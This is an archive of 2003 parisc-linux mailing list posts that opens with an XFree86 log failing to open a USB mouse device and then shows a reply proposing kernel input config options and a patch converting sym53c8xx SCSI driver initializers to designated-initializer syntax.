(**) Option "XkbLayout" "us"
(**) XKB: layout: "us"
(==) Keyboard: CustomKeycode disabled
(**) |-->Input Device "USB Mouse"
(WW) The directory "/usr/lib/X11/fonts/cyrillic" does not exist.
	Entry deleted from font path.
(WW) The directory "/usr/lib/X11/fonts/75dpi/" does not exist.
	Entry deleted from font path.
(WW) The directory "/usr/lib/X11/fonts/75dpi" does not exist.
	Entry deleted from font path.
(**) FontPath set to "unix/:7100,/usr/lib/X11/fonts/misc,/usr/lib/X11/fonts/100dpi/:unscaled,/usr/lib/X11/fonts/Type1,/usr/lib/X11/fonts/Speedo,/usr/lib/X11/fonts/100dpi"
(==) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(--) using VT number 2

(WW) Open APM failed (/dev/apm_bios) (No such file or directory)
(II) PCI: PCI scan (all values are in hex)
(II) PCI: 00:0c:0: chip 1011,0019 card 103c,104f rev 41 class 02,00,00 hdr 00
(II) PCI: 00:0d:0: chip 11d4,1889 card 11d4,1889 rev 00 class 04,01,00 hdr 00
(II) PCI: 00:0e:0: chip 100b,0002 card 0000,0000 rev 03 class 01,01,8a hdr 80
(II) PCI: 00:0e:1: chip 100b,000e card 0000,0000 rev 01 class 06,80,00 hdr 80
(II) PCI: 00:0e:2: chip 100b,0012 card 0000,0000 rev 02 class 0c,03,10 hdr 80
(II) PCI: 00:0f:0: chip 1000,000b card 1000,1000 rev 04 class 01,00,00 hdr 80
(II) PCI: 00:0f:1: chip 1000,000b card 1000,1000 rev 04 class 01,00,00 hdr 80
(II) PCI: 01:05:0: chip 10b7,9050 card 0000,0000 rev 00 class 02,00,00 hdr 00
(II) PCI: 01:06:0: chip 8086,1229 card 103c,10cb rev 08 class 02,00,00 hdr 00
(II) PCI: 03:02:0: chip 103c,1005 card 0000,0000 rev 03 class 03,80,00 hdr 00
(II) PCI: End of PCI scan
(II) Host-to-PCI bridge:
(II) Host-to-PCI bridge:
(II) Host-to-PCI bridge:
(II) Bus 0: bridge is at (0:0:0), (-1,0,0), BCTRL: 0x00 (VGA_EN is cleared)
(II) Bus 0 I/O range:
	[0] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 0 non-prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 0 prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 1: bridge is at (0:0:0), (-1,1,0), BCTRL: 0x00 (VGA_EN is cleared)
(II) Bus 1 I/O range:
	[0] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 1 non-prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 1 prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 3: bridge is at (0:0:0), (-1,3,0), BCTRL: 0x00 (VGA_EN is cleared)
(II) Bus 3 I/O range:
	[0] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 3 non-prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 3 prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(--) PCI:*(3:2:0) HP unknown chipset (0x1005) rev 3, Mem @ 0xfa000000/25, BIOS @ 0xf7000000/16
(II) Addressable bus resource ranges are
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
	[1] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) OS-reported resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) Active PCI resource ranges:
	[0] -1 0	0xf4800000 - 0xf48fffff (0x100000) MX[B]
	[1] -1 0	0xf4900000 - 0xf4900fff (0x1000) MX[B]
	[2] -1 0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[3] -1 0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[4] -1 0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[5] -1 0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[6] -1 0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[7] -1 0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[8] -1 0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[9] -1 0	0xf7000000 - 0xf700ffff (0x10000) MX[B](B)
	[10] -1 0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[11] -1 0	0x00002000 - 0x0000203f (0x40) IX[B]
	[12] -1 0	0x00002100 - 0x0000213f (0x40) IX[B]
	[13] -1 0	0x00000800 - 0x000008ff (0x100) IX[B]
	[14] -1 0	0x00000900 - 0x000009ff (0x100) IX[B]
	[15] -1 0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[16] -1 0	0x00000b00 - 0x00000b00 (0x1) IX[B]
	[17] -1 0	0x00000d00 - 0x00000d00 (0x1) IX[B]
	[18] -1 0	0x00000e00 - 0x00000e00 (0x1) IX[B]
	[19] -1 0	0x00000f00 - 0x00000f00 (0x1) IX[B]
	[20] -1 0	0x00001000 - 0x0000107f (0x80) IX[B]
(II) Active PCI resource ranges after removing overlaps:
	[0] -1 0	0xf4800000 - 0xf48fffff (0x100000) MX[B]
	[1] -1 0	0xf4900000 - 0xf4900fff (0x1000) MX[B]
	[2] -1 0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[3] -1 0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[4] -1 0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[5] -1 0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[6] -1 0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[7] -1 0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[8] -1 0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[9] -1 0	0xf7000000 - 0xf700ffff (0x10000) MX[B](B)
	[10] -1 0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[11] -1 0	0x00002000 - 0x0000203f (0x40) IX[B]
	[12] -1 0	0x00002100 - 0x0000213f (0x40) IX[B]
	[13] -1 0	0x00000800 - 0x000008ff (0x100) IX[B]
	[14] -1 0	0x00000900 - 0x000009ff (0x100) IX[B]
	[15] -1 0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[16] -1 0	0x00000b00 - 0x00000b00 (0x1) IX[B]
	[17] -1 0	0x00000d00 - 0x00000d00 (0x1) IX[B]
	[18] -1 0	0x00000e00 - 0x00000e00 (0x1) IX[B]
	[19] -1 0	0x00000f00 - 0x00000f00 (0x1) IX[B]
	[20] -1 0	0x00001000 - 0x0000107f (0x80) IX[B]
(II) OS-reported resource ranges after removing overlaps with PCI:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) All system resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0xf4800000 - 0xf48fffff (0x100000) MX[B]
	[3] -1 0	0xf4900000 - 0xf4900fff (0x1000) MX[B]
	[4] -1 0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[5] -1 0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[6] -1 0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[7] -1 0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[8] -1 0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[9] -1 0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[10] -1 0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[11] -1 0	0xf7000000 - 0xf700ffff (0x10000) MX[B](B)
	[12] -1 0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[13] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[14] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
	[15] -1 0	0x00002000 - 0x0000203f (0x40) IX[B]
	[16] -1 0	0x00002100 - 0x0000213f (0x40) IX[B]
	[17] -1 0	0x00000800 - 0x000008ff (0x100) IX[B]
	[18] -1 0	0x00000900 - 0x000009ff (0x100) IX[B]
	[19] -1 0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[20] -1 0	0x00000b00 - 0x00000b00 (0x1) IX[B]
	[21] -1 0	0x00000d00 - 0x00000d00 (0x1) IX[B]
	[22] -1 0	0x00000e00 - 0x00000e00 (0x1) IX[B]
	[23] -1 0	0x00000f00 - 0x00000f00 (0x1) IX[B]
	[24] -1 0	0x00001000 - 0x0000107f (0x80) IX[B]
(II) ATI: ATI driver (version 6.4.16) for chipset: ati
(II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
	ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
	ATI Rage 128 RL (AGP), ATI Rage 128 SM (AGP),
	ATI Rage 128 Pro PD (PCI), ATI Rage 128 Pro PF (AGP),
	ATI Rage 128 Pro PP (PCI), ATI Rage 128 Pro PR (PCI),
	ATI Rage 128 Pro ULTRA TF (AGP), ATI Rage 128 Pro ULTRA TL (AGP),
	ATI Rage 128 Pro ULTRA TR (AGP), ATI Rage 128 Mobility LE (PCI),
	ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
	ATI Rage 128 Mobility ML (AGP)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
	ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
	ATI Radeon VE QY (AGP), ATI Radeon VE QZ (AGP),
	ATI Radeon Mobility LW (AGP), ATI Radeon Mobility LX (AGP),
	ATI Radeon Mobility LY (AGP), ATI Radeon Mobility LZ (AGP),
	ATI Radeon 8500 QL (AGP), ATI Radeon 8500 QM (AGP),
	ATI Radeon 8500 QN (AGP), ATI Radeon 8500 QO (AGP),
	ATI Radeon 8500 Ql (AGP), ATI Radeon 8500 BB (AGP),
	ATI Radeon 7500 QW (AGP), ATI Radeon 9000 If (AGP)
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
	mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400,
	mgag550
(II) GLINT: driver for 3Dlabs chipsets: gamma, gamma2, ti_pm2, ti_pm, r4,
	pm4, pm3, pm2v, pm2, pm, 300sx, 500tx, mx, delta
(II) NV: driver for NVIDIA chipsets: RIVA 128, RIVA TNT,
	RIVA TNT2/TNT2 Pro, RIVA TNT2 Ultra, Vanta, Riva TNT2 M64,
	Aladdin TNT2, GeForce 256, GeForce DDR, Quadro, GeForce2 MX/MX 400,
	GeForce2 MX 100/200, GeForce2 Go, Quadro2 MXR, GeForce2 GTS/Pro,
	GeForce2 Ti, GeForce2 Ultra, Quadro2 Pro, GeForce4 MX 460,
	GeForce4 MX 440, GeForce4 MX 420, GeForce4 440 Go, GeForce4 420 Go,
	GeForce4 420 Go M32, Quadro4 500XGL, GeForce4 440 Go M64,
	Quadro4 200/400NVS, Quadro4 550XGL, Quadro4 GoGL, 0x0180, 0x0181,
	0x0182, 0x0188, 0x018A, 0x018B, GeForce2 Integrated, 0x01F0,
	GeForce3, GeForce3 Ti 200, GeForce3 Ti 500, Quadro DCC,
	GeForce4 Ti 4600, GeForce4 Ti 4400, GeForce4 Ti 4200,
	Quadro4 900 XGL, Quadro4 750 XGL, Quadro4 700 XGL, 0x0280, 0x0281,
	0x0288, 0x0289
(II) S3: driver (version 0.3.5 for S3 chipset: 964-0, 964-1, 968,
	Trio32/64, Aurora64V+, Trio64V2/DX or /GX
(II) S3VIRGE: driver (version 1.8.3) for S3 ViRGE chipsets: virge, 86C325,
	virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
	86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
	trio 3d/2x, 86C362, 86C368
(II) SIS: driver for SiS chipsets: SIS5597, SIS530, SIS6326, SIS300,
	SIS630, SIS540
(II) SAVAGE: driver (version 1.1.26) for S3 Savage chipsets: Savage4,
	Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
	Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133,
	ProSavage PN133, ProSavage KN133, SuperSavage/MX 128,
	SuperSavage/MX 64, SuperSavage/MX 64C, SuperSavage/IX 128,
	SuperSavage/IX 128, SuperSavage/IX 64, SuperSavage/IX 64,
	SuperSavage/IXC 64, SuperSavage/IXC 64, ProSavage DDR,
	ProSavage DDR-K
(II) TRIDENT: driver for Trident chipsets: tvga9000, tvga9000i, tvga8900c,
	tvga8900d, tvga9200cxr, tgui9400cxi, cyber9320, cyber9388, cyber9397,
	cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4, tgui9420dgi,
	tgui9440agi, tgui9660, tgui9680, providia9682, providia9685,
	cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d, cyberbladei7,
	cyberbladei7d, cyberbladei1, cyberbladei1d, cyberbladeAi1,
	cyberbladeAi1d, cyberbladeXPm/8, cyberbladeXPm/16, cyberbladeXPAi1
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
	ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
	ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
	3dfx Voodoo3, 3dfx Voodoo5
(II) FBDEV: driver for framebuffer: fbdev
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) v4l driver for Video4Linux
(II) Primary Device is: PCI 03:02:0
(II) FBDEV(0): using default device
(II) Running in FRAMEBUFFER Mode
(**) FBDEV(0): Depth 8, (--) framebuffer bpp 8
(**) FBDEV(0): Default visual is TrueColor
(==) FBDEV(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDEV(0): Hardware: stifb (vidmem: 2400k)
(II) FBDEV(0): Checking Modes against framebuffer device...
(II) FBDEV(0): 	mode "1600x1200" ok
(II) FBDEV(0): Checking Modes against monitor...
(--) FBDEV(0): Virtual size is 1600x1200 (pitch 1600)
(**) FBDEV(0): Default mode "1600x1200": 162.0 MHz (scaled from 0.0 MHz), 75.0 kHz, 60.0 Hz
(II) FBDEV(0): Modeline "1600x1200"  162.00  1600 1664 1856 2160  1200 1201 1204 1250 +hsync +vsync
(==) FBDEV(0): DPI set to (75, 75)
(**) FBDEV(0): Using "Shadow Framebuffer"
(EE) FBDEV(0): FBIOPAN_DISPLAY: Invalid argument
(==) FBDEV(0): Backing store disabled
(**) Option "dpms"
(**) FBDEV(0): DPMS enabled
(II) Keyboard "Generic Keyboard" handled by legacy driver
(**) Option "Protocol" "ImPS/2"
(**) USB Mouse: Protocol: "ImPS/2"
(**) Option "SendCoreEvents" "true"
(**) USB Mouse: always reports core events
(**) Option "CorePointer"
(**) USB Mouse: Core Pointer
(**) Option "Device" "/dev/input/mice"
(EE) xf86OpenSerial: Cannot open device /dev/input/mice
	No such device.
(EE) USB Mouse: cannot open input device
(EE) PreInit failed for input device "USB Mouse"
(WW) No core pointer registered
No core pointer

Fatal server error:
failed to initialize core devices

When reporting a problem related to a server crash, please send
the full server output, not just the last messages.
This can be found in the log file "/var/log/XFree86.0.log".
Please report problems to submit@bugs.debian.org.



From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] can't open /dev/input/mice on c3000?
Date: Sun, 21 Dec 2003 14:32:54 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <200312211432.54995.deller@gmx.de>
References: <20031221054605.GA14026@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623072 3630 80.91.229.3 (22 Nov 2014 02:24:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:32 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sun Dec 21 06:33:01 2003
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 1F4F548AC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Dec 2003 06:33:01 -0700 (MST)
Original-Received: (qmail 8140 invoked by uid 65534); 21 Dec 2003 13:32:48 -0000
Original-Received: from pD9040D71.dip.t-dialin.net (EHLO datime) (217.4.13.113)
	by mail.gmx.net (mp008) with SMTP; 21 Dec 2003 14:32:48 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
In-Reply-To: <20031221054605.GA14026@colo.lackof.org>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 21 Dec 2003 13:33:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20453

On Sunday 21 December 2003 06:46, Grant Grundler wrote:
> xserver can't open /dev/input/mice and it's not clear to me why not.
> I have a USB Logitech "intellimouse" that seems to work fine
> with 2.4.23 kernels.  2.6.0-pa3 (pre-release) finds the USB mouse.

Works for me on the c3k without problems (HP (SILITEK) USB Mouse).

I assume you are missing some .config entries:
#
# Input device support
#
CONFIG_INPUT=y

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_TSDEV is not set
CONFIG_INPUT_EVDEV=y
# CONFIG_INPUT_EVBUG is not set

#
# Input I/O drivers
#
# CONFIG_GAMEPORT is not set
CONFIG_SOUND_GAMEPORT=y
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_CT82C710 is not set
# CONFIG_SERIO_PARKBD is not set
CONFIG_HP_SDC=y
# CONFIG_HIL_MLC is not set
# CONFIG_SERIO_PCIPS2 is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ATKBD is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_HIL_OLD is not set
CONFIG_INPUT_MOUSE=y
# CONFIG_MOUSE_PS2 is not set


From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A small sym2 backport
Date: Sun, 21 Dec 2003 14:38:03 +0000
Lines: 162
Approved: news@gmane.org
Message-ID: <3FE5B04B.20107@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623072 3631 80.91.229.3 (22 Nov 2014 02:24:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Sun Dec 21 07:37:18 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id C475E4852
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Dec 2003 07:37:17 -0700 (MST)
Original-Received: from [62.235.121.136] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AY4ho-0007CA-4R; Sun, 21 Dec 2003 15:37:16 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 21 Dec 2003 14:37:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20454

Hi all,

here is a small patch resulting from my atempt to back port the new sym2 driver:
=========><=========
diff -Naur sym53c8xx_2.Orig/sym53c8xx.h sym53c8xx_2/sym53c8xx.h
--- sym53c8xx_2.Orig/sym53c8xx.h        2003-12-18 09:20:36.000000000 +0100
+++ sym53c8xx_2/sym53c8xx.h     2003-12-18 10:01:37.000000000 +0100
@@ -99,30 +96,27 @@
  /*
   *  Host template defintion
   */
-#if (LINUX_VERSION_CODE >= 0x020400) || defined(HOSTS_C) || defined(MODULE)
-
  #include <scsi/scsicam.h>

  #define SYM53C8XX {                                                    \
-       name:                   "sym53c8xx",                            \
-       detect:                 sym53c8xx_detect,                       \
-       release:                sym53c8xx_release,                      \
-       info:                   sym53c8xx_info,                         \
-       queuecommand:           sym53c8xx_queue_command,                \
-       use_new_eh_code:        1,                                      \
-       eh_abort_handler:       sym53c8xx_eh_abort_handler,             \
-       eh_device_reset_handler:sym53c8xx_eh_device_reset_handler,      \
-       eh_bus_reset_handler:   sym53c8xx_eh_bus_reset_handler,         \
-       eh_host_reset_handler:  sym53c8xx_eh_host_reset_handler,        \
-       bios_param:             scsicam_bios_param,                     \
-       can_queue:              0,                                      \
-       this_id:                7,                                      \
-       sg_tablesize:           0,                                      \
-       cmd_per_lun:            0,                                      \
-       use_clustering:         DISABLE_CLUSTERING,                     \
-       highmem_io:             1}
-
-#endif /* defined(HOSTS_C) || defined(MODULE) */
+       .name                   = "sym53c8xx",                          \
+       .detect                 = sym53c8xx_detect,                     \
+       .release                = sym53c8xx_release,                    \
+       .info                   = sym53c8xx_info,                       \
+       .queuecommand           = sym53c8xx_queue_command,              \
+       .use_new_eh_code        = 1,                                    \
+       .eh_abort_handler       = sym53c8xx_eh_abort_handler,           \
+       .eh_device_reset_handler= sym53c8xx_eh_device_reset_handler,    \
+       .eh_bus_reset_handler   = sym53c8xx_eh_bus_reset_handler,       \
+       .eh_host_reset_handler  = sym53c8xx_eh_host_reset_handler,      \
+       .bios_param             = scsicam_bios_param,                   \
+       .can_queue              = 0,                                    \
+       .this_id                = 7,                                    \
+       .sg_tablesize           = 0,                                    \
+       .cmd_per_lun            = 0,                                    \
+       .use_clustering         = DISABLE_CLUSTERING,                   \
+       .highmem_io             = 1                                     \
+}

  /*
   *  Translate kernel configuration parameters
@@ -292,27 +286,26 @@
   *
   *  Can be overriden at startup by a command line.
   */
-#define SYM_LINUX_DRIVER_SETUP                 \
-{                                              \
-       1,      /* pci_parity */                \
-       1,      /* scsi_parity */               \
-       CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS,     \
-       CONFIG_SCSI_SYM53C8XX_DEFAULT_SYNC,     \
-       7,      /* burst_order */               \
-       1,      /* scsi_led */                  \
-       1,      /* max_wide */                  \
-       1,      /* scsi_diff */                 \
-       0,      /* irq_mode */                  \
-       1,      /* scsi_bus_check */            \
-       7,      /* host_id */                   \
-       62,     /* max_offs */                  \
-       CONFIG_SCSI_SYM53C8XX_MAX_LUN,          \
-       3,      /* pci_fix_up */                \
-       0,      /* reverse_probe */             \
-       0,      /* verbose */                   \
-       0,      /* debug */                     \
-       3,      /* settle_delay */              \
-       1,      /* use_nvram */                 \
+#define SYM_LINUX_DRIVER_SETUP {                                       \
+       .pci_parity     = 1,                                    \
+       .scsi_parity    = 1,                                    \
+       .max_tag        = CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS,   \
+       .min_sync       = CONFIG_SCSI_SYM53C8XX_DEFAULT_SYNC,   \
+       .burst_order    = 7,                                    \
+       .scsi_led       = 1,                                    \
+       .max_wide       = 1,                                    \
+       .scsi_diff      = 1,                                    \
+       .irq_mode       = 0,                                    \
+       .scsi_bus_check = 1,                                    \
+       .host_id        = 7,                                    \
+       .max_offs       = 62,                                   \
+       .max_lun        = CONFIG_SCSI_SYM53C8XX_MAX_LUN,        \
+       .pci_fix_up     = 3,                                    \
+       .reverse_probe  = 0,                                    \
+       .verbose        = 0,                                    \
+       .debug          = 0,                                    \
+       .settle_delay   = 3,                                    \
+       .use_nvram      = 1,                                    \
  }

  /*
@@ -321,27 +314,26 @@
   *  Override initial setup from boot command line:
   *    sym53c8xx=safe:y
   */
-#define SYM_LINUX_DRIVER_SAFE_SETUP            \
-{                                              \
-       0,      /* pci_parity */                \
-       0,      /* scsi_parity */               \
-       0,      /* max_tag */                   \
-       50,     /* min_sync */                  \
-       0,      /* burst_order */               \
-       0,      /* scsi_led */                  \
-       1,      /* max_wide */                  \
-       1,      /* scsi_diff */                 \
-       0,      /* irq_mode */                  \
-       2,      /* scsi_bus_check */            \
-       7,      /* host_id */                   \
-       15,     /* max_offs */                  \
-       1,      /* max_lun */                   \
-       0,      /* pci_fix_up */                \
-       0,      /* reverse_probe */             \
-       2,      /* verbose */                   \
-       0,      /* debug */                     \
-       10,     /* settle_delay */              \
-       1,      /* use_nvram */                 \
+#define SYM_LINUX_DRIVER_SAFE_SETUP {                          \
+       .pci_parity     = 0,                                    \
+       .scsi_parity    = 0,                                    \
+       .max_tag        = 0,                                    \
+       .min_sync       = 50,                                   \
+       .burst_order    = 0,                                    \
+       .scsi_led       = 0,                                    \
+       .max_wide       = 1,                                    \
+       .scsi_diff      = 1,                                    \
+       .irq_mode       = 0,                                    \
+       .scsi_bus_check = 2,                                    \
+       .host_id        = 7,                                    \
+       .max_offs       = 15,                                   \
+       .max_lun        = 1,                                    \
+       .pci_fix_up     = 0,                                    \
+       .reverse_probe  = 0,                                    \
+       .verbose        = 2,                                    \
+       .debug          = 0,                                    \
+       .settle_delay   = 10,                                   \
+       .use_nvram      = 1,                                    \
  }

  /*
=========><=========

I test it against 2.4.23-pa3 on my c110 and b2k and seems Ok.

If there is still some interest fill free to ci (i don't have cvs access)

hth,
	Joel



From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] audit for copyright/license
Date: Sun, 21 Dec 2003 16:19:03 +0000
Lines: 295
Approved: news@gmane.org
Message-ID: <3FE5C7F7.1000204@tiscali.be>
References: <20031221041802.GB12969@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623073 3636 80.91.229.3 (22 Nov 2014 02:24:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Sun Dec 21 09:18:18 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id C42B84879
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Dec 2003 09:18:17 -0700 (MST)
Original-Received: from [62.235.121.136] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AY6HX-0004sE-Uz; Sun, 21 Dec 2003 17:18:16 +0100
